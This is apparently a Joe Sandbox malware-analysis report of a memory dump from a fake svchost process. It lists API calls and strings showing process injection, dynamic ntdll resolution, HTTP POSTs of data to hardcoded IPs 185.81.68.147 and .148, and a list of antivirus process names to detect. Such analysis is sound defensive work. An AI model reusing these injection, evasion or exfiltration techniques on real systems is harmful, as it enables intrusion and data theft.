Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: b908c4bbb58855851690610d9eaba40de91e681cb9da683074f69fec9867cf37
Instruction ID: 5f4b452fcec7149987a586b8298cd5197529815ca120d6066935c43795ec1f4c
Opcode Fuzzy Hash: b908c4bbb58855851690610d9eaba40de91e681cb9da683074f69fec9867cf37
Instruction Fuzzy Hash: 0132CB3260CA8186E7A4DF15E4547AAB7A1FBC8794F508135DA8EC3B68DF7CE445CB00

Function 00007FF60BFA3B98 Relevance: 21.1, APIs: 14, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

__crtGetLocaleInfoA.LIBCMT ref: 00007FF60BFA3BF1

Part of subcall function 00007FF60BFAAB7C: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF60BFAAB9C
Part of subcall function 00007FF60BFAAB7C: __crtGetLocaleInfoA_stat.LIBCMT ref: 00007FF60BFAABBA

GetLastError.KERNEL32 ref: 00007FF60BFA3BFD
__crtGetLocaleInfoA.LIBCMT ref: 00007FF60BFA3C19
__crtGetLocaleInfoA.LIBCMT ref: 00007FF60BFA3C50
_calloc_crt.LIBCMT ref: 00007FF60BFA3C2C

Part of subcall function 00007FF60BFA41D4: _calloc_impl.LIBCMT ref: 00007FF60BFA4202
Part of subcall function 00007FF60BFA41D4: Sleep.KERNEL32(?,?,?,00007FF60BFA5782,?,?,?,00007FF60BFA59AD,?,?,?,?,00007FF60BFA2431), ref: 00007FF60BFA4219

_calloc_crt.LIBCMT ref: 00007FF60BFA3C67
free.LIBCMT ref: 00007FF60BFA3C7F
free.LIBCMT ref: 00007FF60BFA3CCB
GetLocaleInfoEx.KERNEL32 ref: 00007FF60BFA3CEE
_calloc_crt.LIBCMT ref: 00007FF60BFA3D00
GetLocaleInfoEx.KERNEL32 ref: 00007FF60BFA3D18
free.LIBCMT ref: 00007FF60BFA3D24
GetLocaleInfoEx.KERNEL32 ref: 00007FF60BFA3D4F
_invoke_watson.LIBCMT ref: 00007FF60BFA3D77

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Locale$Info$__crt$_calloc_crtfree$A_statErrorLastSleepUpdateUpdate::__calloc_impl_invoke_watson
String ID:
API String ID: 411824461-0
Opcode ID: 564419ca50e371d3acc34bb99ed49dc042e36028f0c6e1de800d56395efabe84
Instruction ID: 0ceef4bb37d04411a916b5bbafbc55895a1c747c1921b7b145eeb3d6ecdbd97b
Opcode Fuzzy Hash: 564419ca50e371d3acc34bb99ed49dc042e36028f0c6e1de800d56395efabe84
Instruction Fuzzy Hash: 065126A1B1C28341FB689A26A81177A52D16F9DBC4F24C035DE0FC7BA6EE3CE4058B04

Function 00007FF60BF810D4 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF60BF810F8

Strings

@, xrefs: 00007FF60BF811FF
, xrefs: 00007FF60BF811AC
ntdll, xrefs: 00007FF60BF812EB
RtlCreateUserThread, xrefs: 00007FF60BF812F8

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: 997f9696530ca3d2e2a924b5a8e3b77fe72128a8fbc0c0d691b2ed488240cbf6
Instruction ID: a35d7a3fed00e61f0616109d0fe2e6a4ce09221257c051f7a62dfdd8f794da11
Opcode Fuzzy Hash: 997f9696530ca3d2e2a924b5a8e3b77fe72128a8fbc0c0d691b2ed488240cbf6
Instruction Fuzzy Hash: 6071003190CB8186E7608B56F44436AB7A0F78D794F208635E68ED7BA8DFBCD595CB00

Function 00007FF60BF824E8 Relevance: 10.6, APIs: 7, Instructions: 137memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF60BF825C3
WriteProcessMemory.KERNEL32 ref: 00007FF60BF825F5

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AllocMemoryProcessVirtualWrite
String ID:
API String ID: 645232735-0
Opcode ID: 9846827d6b8e06299e9a05d4f878c346567fa6bf18a5ac3c9d23b35c2b6f147d
Instruction ID: 1d9a6811dd7e5f23293e49e0689e2cbb61beb398a45980843407b416f818cf22
Opcode Fuzzy Hash: 9846827d6b8e06299e9a05d4f878c346567fa6bf18a5ac3c9d23b35c2b6f147d
Instruction Fuzzy Hash: 8F719636658B4586DB50CB1AE49072AABA1F789BC4F109135EE8EC3B78DF7CE444CB40

Function 00007FF60BF9EC18 Relevance: 59.7, APIs: 24, Strings: 10, Instructions: 163
networksleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF60BF9EC92
InternetConnectW.WININET ref: 00007FF60BF9ECED
InternetCloseHandle.WININET ref: 00007FF60BF9ED05
Sleep.KERNEL32 ref: 00007FF60BF9ED10
HttpOpenRequestW.WININET ref: 00007FF60BF9ED54
InternetCloseHandle.WININET ref: 00007FF60BF9ED6C
InternetCloseHandle.WININET ref: 00007FF60BF9ED77
strlen.MSVCRT ref: 00007FF60BF9ED9A
HttpSendRequestA.WININET ref: 00007FF60BF9EDC0
InternetCloseHandle.WININET ref: 00007FF60BF9EDCF
InternetCloseHandle.WININET ref: 00007FF60BF9EDDA
InternetCloseHandle.WININET ref: 00007FF60BF9EDE5

Strings

185.81.68.148, xrefs: 00007FF60BF9EC3F
err, xrefs: 00007FF60BF9ED7D
err, xrefs: 00007FF60BF9EDEB
185.81.68.147, xrefs: 00007FF60BF9EC30
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0, xrefs: 00007FF60BF9EC8B
Content-Type: application/x-www-form-urlencodedConnection: close, xrefs: 00007FF60BF9ED89
err, xrefs: 00007FF60BF9ECA5
/data.php, xrefs: 00007FF60BF9ED41
POST, xrefs: 00007FF60BF9ED48
data=, xrefs: 00007FF60BF9EC21

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectSendSleepstrlen
String ID: /data.php$185.81.68.147$185.81.68.148$Content-Type: application/x-www-form-urlencodedConnection: close$Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0$POST$data=$err$err$err
API String ID: 2240106504-3235050614
Opcode ID: 28471d85fd49d0bd5f3af11c198ae44d0fa0b724d49c512276e690abd95f61e1
Instruction ID: f6d1ff2478b6b6b08f0bab7e1ba0aee5c7cac93f9a50fd7953da2da3f684daf4
Opcode Fuzzy Hash: 28471d85fd49d0bd5f3af11c198ae44d0fa0b724d49c512276e690abd95f61e1
Instruction Fuzzy Hash: 29919536A0CA4196E710DB15F59476AB7A0FB89794F208435EA8EC7B78DF7DD488CB00

Function 00007FF60BF9EF58 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF60BF9EF9C
Sleep.KERNEL32 ref: 00007FF60BF9EFB4
InternetOpenUrlW.WININET ref: 00007FF60BF9EFE0
InternetOpenUrlW.WININET ref: 00007FF60BF9F017
InternetCloseHandle.WININET ref: 00007FF60BF9F02F
Sleep.KERNEL32 ref: 00007FF60BF9F03A
HttpQueryInfoA.WININET ref: 00007FF60BF9F06A
InternetCloseHandle.WININET ref: 00007FF60BF9F079
InternetCloseHandle.WININET ref: 00007FF60BF9F084
Sleep.KERNEL32 ref: 00007FF60BF9F08F
InternetCloseHandle.WININET ref: 00007FF60BF9F0A9
InternetOpenUrlW.WININET ref: 00007FF60BF9F0D3
InternetCloseHandle.WININET ref: 00007FF60BF9F0EB
Sleep.KERNEL32 ref: 00007FF60BF9F0F6
HttpQueryInfoA.WININET ref: 00007FF60BF9F12E
GetProcessHeap.KERNEL32 ref: 00007FF60BF9F13D
HeapAlloc.KERNEL32 ref: 00007FF60BF9F153
InternetCloseHandle.WININET ref: 00007FF60BF9F16B
InternetCloseHandle.WININET ref: 00007FF60BF9F176
InternetReadFile.WININET ref: 00007FF60BF9F1B3
InternetCloseHandle.WININET ref: 00007FF60BF9F1E9
InternetCloseHandle.WININET ref: 00007FF60BF9F1F4

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF60BF9EF95

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 4279794846-2771526726
Opcode ID: c286b5aeaee3a95e6f793a4cad3823bc7d6503c806200300204d2a70b13d1204
Instruction ID: 8bd06f77063229739a68dcdd9fbeb5c98e9d9fcbb3a2dd387b6c30f8d640c905
Opcode Fuzzy Hash: c286b5aeaee3a95e6f793a4cad3823bc7d6503c806200300204d2a70b13d1204
Instruction Fuzzy Hash: 6071C53262CA8186E7508F14F95472AB770FBC9794F209435EA8BC7B68CF7DD4848B00

Function 00007FF60BF82314 Relevance: 36.8, APIs: 11, Strings: 10, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF60BF8231F
GetProcAddress.KERNEL32 ref: 00007FF60BF82343
GetProcAddress.KERNEL32 ref: 00007FF60BF8235C
GetProcAddress.KERNEL32 ref: 00007FF60BF82375
GetProcAddress.KERNEL32 ref: 00007FF60BF8238E
GetProcAddress.KERNEL32 ref: 00007FF60BF823A7
GetProcAddress.KERNEL32 ref: 00007FF60BF823C0
GetProcAddress.KERNEL32 ref: 00007FF60BF823D9
GetProcAddress.KERNEL32 ref: 00007FF60BF823F2
GetProcAddress.KERNEL32 ref: 00007FF60BF8240B
FreeLibrary.KERNEL32 ref: 00007FF60BF82477

Strings

NtMapViewOfSection, xrefs: 00007FF60BF82350
ntdll.dll, xrefs: 00007FF60BF82318
NtWriteFile, xrefs: 00007FF60BF823FF
NtClose, xrefs: 00007FF60BF82337
RtlInitUnicodeString, xrefs: 00007FF60BF82382
NtCreateSection, xrefs: 00007FF60BF823CD
NtOpenFile, xrefs: 00007FF60BF823E6
RtlAdjustPrivilege, xrefs: 00007FF60BF823B4
NtSetInformationFile, xrefs: 00007FF60BF82369
NtSetInformationProcess, xrefs: 00007FF60BF8239B

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: NtClose$NtCreateSection$NtMapViewOfSection$NtOpenFile$NtSetInformationFile$NtSetInformationProcess$NtWriteFile$RtlAdjustPrivilege$RtlInitUnicodeString$ntdll.dll
API String ID: 2449869053-1333963010
Opcode ID: 3b84ecef7e8c75bcd1d12f9525db118f6743ea869c907afc9188f40934af8a68
Instruction ID: c2bb621d3ccd2ec1cc4cfff4d27757d487c2f0908607857ba7777f1c7d0f9755
Opcode Fuzzy Hash: 3b84ecef7e8c75bcd1d12f9525db118f6743ea869c907afc9188f40934af8a68
Instruction Fuzzy Hash: 9B418F3591DA02A5EA619B09E94477573B0FF8CB86F209636C49FC32B5DF7CA588C340

Function 00007FF60BF81B30 Relevance: 30.2, APIs: 20, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF60BF81BAA
CloseHandle.KERNEL32 ref: 00007FF60BF81BD6

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: dd1db8065b8b72934f9a832ddd55b7f2970ebeaf73aedca523161806716b0cef
Instruction ID: 2b659a5b6b27e6e34770e237606294b297b7a8f9b6c5cbbe9574203b2df6c3a3
Opcode Fuzzy Hash: dd1db8065b8b72934f9a832ddd55b7f2970ebeaf73aedca523161806716b0cef
Instruction Fuzzy Hash: A191DE7250C68196EB50CB16E45476AB7A1FB8C784F204535D68FC7A78DF7CE545CB00

Function 00007FF60BF9DA34 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 94
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF60BF9DA5C
InternetOpenUrlA.WININET ref: 00007FF60BF9DA9A
InternetCloseHandle.WININET ref: 00007FF60BF9DAB2

Strings

Mozilla/5.0, xrefs: 00007FF60BF9DA55

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Internet$Open$CloseHandle
String ID: Mozilla/5.0
API String ID: 3289985339-2630049532
Opcode ID: d808c079d8e75f8a4ac68c4773e767ace300b3f5636902ee28373f7788d6eb60
Instruction ID: 0f895eae208546c709661d899a06dad03355a424d7af94c340c6b489f7cc6e0d
Opcode Fuzzy Hash: d808c079d8e75f8a4ac68c4773e767ace300b3f5636902ee28373f7788d6eb60
Instruction Fuzzy Hash: 3851A73691CA42C6E7109F15E45472AB760FBC9B94F208135EA9BC7AB8CF7DD454CB00

Function 00007FF60BF817C4 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FF60BF817E2
GetProcAddress.KERNEL32 ref: 00007FF60BF817F9
GetProcAddress.KERNEL32 ref: 00007FF60BF81813
FreeLibrary.KERNEL32 ref: 00007FF60BF81846
wcsnlen.LIBCMT ref: 00007FF60BF818CD
GetCurrentDirectoryW.KERNEL32 ref: 00007FF60BF818E4
GetSystemDirectoryW.KERNEL32 ref: 00007FF60BF8192B
CreateEnvironmentBlock.USERENV ref: 00007FF60BF819BF
FreeLibrary.KERNEL32 ref: 00007FF60BF81A91
FreeLibrary.KERNEL32 ref: 00007FF60BF81AD1
FreeLibrary.KERNEL32 ref: 00007FF60BF81B08

Strings

RtlCreateProcessParametersEx, xrefs: 00007FF60BF817ED
ntdll.dll, xrefs: 00007FF60BF817DB
Diamotrixed!, xrefs: 00007FF60BF8198A
NtCurrentPeb, xrefs: 00007FF60BF81807

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: Library$Free$AddressDirectoryProc$BlockCreateCurrentEnvironmentLoadSystemwcsnlen
String ID: Diamotrixed!$NtCurrentPeb$RtlCreateProcessParametersEx$ntdll.dll
API String ID: 4291753643-2287811734
Opcode ID: 16a03e98275a15fa7fbf00527d921ee2a87b4c912d7ee25d9fcad31013e44fa4
Instruction ID: 2e5c4a129e8a3ed2b109ece81d955cb6e6c72b36ab0d5585264a439d28fdb434
Opcode Fuzzy Hash: 16a03e98275a15fa7fbf00527d921ee2a87b4c912d7ee25d9fcad31013e44fa4
Instruction Fuzzy Hash: 61912B32618BC591EB60DB15E4443AAB3A1FB88B81F508536C68EC3B79EF7CD549CB00

Function 00007FF60BF81478 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF60BF81483
GetProcAddress.KERNEL32 ref: 00007FF60BF814A9

Strings

NtCreateThreadEx, xrefs: 00007FF60BF81501
RtlCreateProcessParametersEx, xrefs: 00007FF60BF814CF
NtCreateProcessEx, xrefs: 00007FF60BF8149D
NtQuerySystemInformation, xrefs: 00007FF60BF81565
NtSuspendProcess, xrefs: 00007FF60BF81594
ntdll.dll, xrefs: 00007FF60BF8147C
NtQueryInformationFile, xrefs: 00007FF60BF81533
NtResumeProcess, xrefs: 00007FF60BF815C3

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: NtCreateProcessEx$NtCreateThreadEx$NtQueryInformationFile$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$RtlCreateProcessParametersEx$ntdll.dll
API String ID: 2574300362-3070941563
Opcode ID: fe0edb3ea2ea9d1b61de22b004e242eb16fd45174bdc196908c66df22b0c4eac
Instruction ID: 3f26cdefcdfa18c4c1f8718bfdeabe4c6115e44fe9161e5a20c82156e13d1bfc
Opcode Fuzzy Hash: fe0edb3ea2ea9d1b61de22b004e242eb16fd45174bdc196908c66df22b0c4eac
Instruction Fuzzy Hash: 2741B12690DA8691EA709B05F54436A73A0FB8C788F209235D98FD7774DF7CE685CB00

Function 00007FF60BFA092C Relevance: 25.7, APIs: 17, Instructions: 155memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF60BFA0973
GetFileSize.KERNEL32 ref: 00007FF60BFA0994
GetProcessHeap.KERNEL32 ref: 00007FF60BFA09AA
HeapAlloc.KERNEL32 ref: 00007FF60BFA09C3
CloseHandle.KERNEL32 ref: 00007FF60BFA09DB

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: FileHeap$AllocCloseCreateHandleProcessSize
String ID:
API String ID: 4026551389-0
Opcode ID: dad4417b183fee83f8e059b4764bb9658e6ee4e87390e1ce80ae04f4a6b01d07
Instruction ID: 606d323f9063bb3fee5558d70ac8a6725293a8d6ceec9c9c8e9c571e60d589f4
Opcode Fuzzy Hash: dad4417b183fee83f8e059b4764bb9658e6ee4e87390e1ce80ae04f4a6b01d07
Instruction Fuzzy Hash: B281D772608B8182DB54CB55F49436AB7A0FBC9B95F208535EA8EC3B68DF7DD494CB00

Function 00007FF60BF9CEB8 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 103COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF60BF9D16F), ref: 00007FF60BF9CF02

Strings

avgnext.exe, xrefs: 00007FF60BF9CFB3
AvastUI.exe, xrefs: 00007FF60BF9CF45
AvastSvc.exe, xrefs: 00007FF60BF9CF5A
AvastAntivirus.exe, xrefs: 00007FF60BF9CF6F
MsMpEng.exe, xrefs: 00007FF60BF9CF2B
avgwdsvc.exe, xrefs: 00007FF60BF9CF9E
avgui.exe, xrefs: 00007FF60BF9CF89
360ts.exe, xrefs: 00007FF60BF9CFCD
360sd.exe, xrefs: 00007FF60BF9CFE2

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192106062.00007FF60BFCA000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192224584.00007FF60BFD1000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff60bf80000_svchost.jbxd

Similarity

API ID: CloseHandle
String ID: 360sd.exe$360ts.exe$AvastAntivirus.exe$AvastSvc.exe$AvastUI.exe$MsMpEng.exe$avgnext.exe$avgui.exe$avgwdsvc.exe
API String ID: 2962429428-2792874574
Opcode ID: 4ea5b1be55232d26d753203b733671219c7c2ad8b1cc2637dc4e508cc27a149c
Instruction ID: 11394496b7e52890b7b8ee9fbd120faddd4e3cb1cb1d67fe0b8ecd5712a12332
Opcode Fuzzy Hash: 4ea5b1be55232d26d753203b733671219c7c2ad8b1cc2637dc4e508cc27a149c
Instruction Fuzzy Hash: E8516151A0CA4344FB209B29E85137AA794EF88398F748231E59FC75FAEF6DD605CB10

Function 00007FF60BF8DF2C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF60BF8DF44

Part of subcall function 00007FF60BFB0610: _lock.LIBCMT ref: 00007FF60BFB0622

_Yarn.LIBCPMTD ref: 00007FF60BF8DF55
_Yarn.LIBCPMTD ref: 00007FF60BF8DF66
_Yarn.LIBCPMTD ref: 00007FF60BF8DF77
_Yarn.LIBCPMTD ref: 00007FF60BF8DF88
_Yarn.LIBCPMTD ref: 00007FF60BF8DF99
_Yarn.LIBCPMTD ref: 00007FF60BF8DFAA
std::bad_exception::bad_exception.LIBCMTD ref: 00007FF60BF8DFC3

Part of subcall function 00007FF60BF8E454: std::exception::exception.LIBCMT ref: 00007FF60BF8E46C

_CxxThrowException.LIBCMT ref: 00007FF60BF8DFD4

Part of subcall function 00007FF60BFA2504: RtlPcToFileHeader.NTDLL ref: 00007FF60BFA2593
Part of subcall function 00007FF60BFA2504: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF60BFB04BE), ref: 00007FF60BFA25D2

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF60BF8DFE3

Strings

bad locale name, xrefs: 00007FF60BF8DFB7

Memory Dump Source

Source File: 00000005.00000002.2191723275.00007FF60BF81000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF60BF80000, based on PE: true

Associated: 00000005.00000002.2191479740.00007FF60BF80000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2191881727.00007FF60BFB6000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000005.00000002.2192031313.00007FF60BFC4000.00000004.00000001.01000000.00000000.sdmpDownload File
